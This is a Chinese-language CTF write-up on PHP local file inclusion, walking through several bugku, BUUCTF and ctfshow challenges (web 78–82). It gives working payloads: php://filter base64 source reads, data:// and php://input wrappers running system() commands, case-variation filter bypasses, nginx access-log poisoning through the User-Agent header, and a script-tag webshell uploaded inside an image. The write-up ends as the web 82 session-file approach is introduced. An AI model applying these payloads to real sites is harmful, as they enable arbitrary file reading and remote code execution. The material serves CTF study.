文件包含漏洞:通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
bugku文件包含(BUUCTF include)(ctf web 78)
方法一:
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
url+?file=php://filter/resource=xxx.php
直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取下面方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码
BUUCTF Secret File
查看源码
发现了一个php文件,访问一波
点击了一下SECRET,出现了这个页面
叫回去看看,于是回去看看Archive_room.php的源代码,看见了action.php
于是访问action.php,直接跳转到了end.php的画面
跳转太快,想到了抓包,发送中继器之后send发现了重要文件(抓包的时候一直抓不到,看了之后才发现我在地址栏里改了action.php,结果抓包的时候又变成了end.php,所以一定确认是action.php之后再操作)
访问sece3t.php得到
说flag在flag.php里,于是访问一
这里又想到了php伪协议url+secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码
bugku文件包含2
查看网页源代码,看到注释文件upload.php
访问upload.php,在?file=upload.php即可得到文件上传页面
发现使用常规的一句话木马上传成功了,但是直接访问和蚁剑扫描都不行
于是上传一张带有<script language=php>system("find / -name flag*");</script>的图片,显示了上传成功,得到路径之后直接访问,发现不行,蚁剑也连接不上,直接访问看到了好多/flag,于是直接去访问flag的根目录,?file=/flag即可得到flag
因为网站存在文件包含漏洞,所以我们通过直接访问文件名来获取文件内容
buuctf WarmUp
查看网页源代码,发现注释文件
访问注释文件?file=source.php
看到白名单里有个hint.php,于是访问一下
说flag在ffffllllaaaagggg里,访问之后发现没有
再看看上一级有没有,无反应
一直访问上一级,终于发现flag
ctfshow web 79(data伪协议)
把php替换成了???,所以不能再用伪协议php://filter,这里需要用到
data协议(1) ?file=data://text/plain,<?=`cat flag*`;?>
data命令执行:data:text/plain,<?php system(‘命令’);?> 这样就能执行命令
(2) 大小写绕过:1. ?file=data:text/plain,<?pHp system('ls');?>
2. ?file=data://text/plain,<?=`cat flag*`;?>
(3) data伪协议 base64:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
ctfshow web 80
方法一:日志包含
把php,data都替换成了??? ,但是str_replace无法过滤大小写,考虑用日志文件包含
GET: ?file=/var/log/nginx/access.log
User-Agent: <?php system('ls');?>
然后再换<?php system('cat fl0g.php');?>
页面无代码,查看源代码即可得到flag
方法二:
使用php大小写绕过修改文件头?file=Php://input,<?php system("ls");?查看上一级文件
<?php system('cat fl0g.php');?>访问fl0g.php查看flag
php://input:t可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。与include连用、当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
ctfshow web 81
这题把php,data,冒号代替成了??? ,所以大小写绕过,远程文件包含都不行,只能用日志包含
GET: ?file=/var/log/nginx/access.log
User-Agent: <?php system('ls');?> bp需要多go几次,若是hackbar则是需要多execute几次
<?php system('cat fl0g.php');?>访问fl0g.php查看flag
ctfshow web 82
这次还把点也替换了,要找一个不带点路径的文件,所以选择session会话文件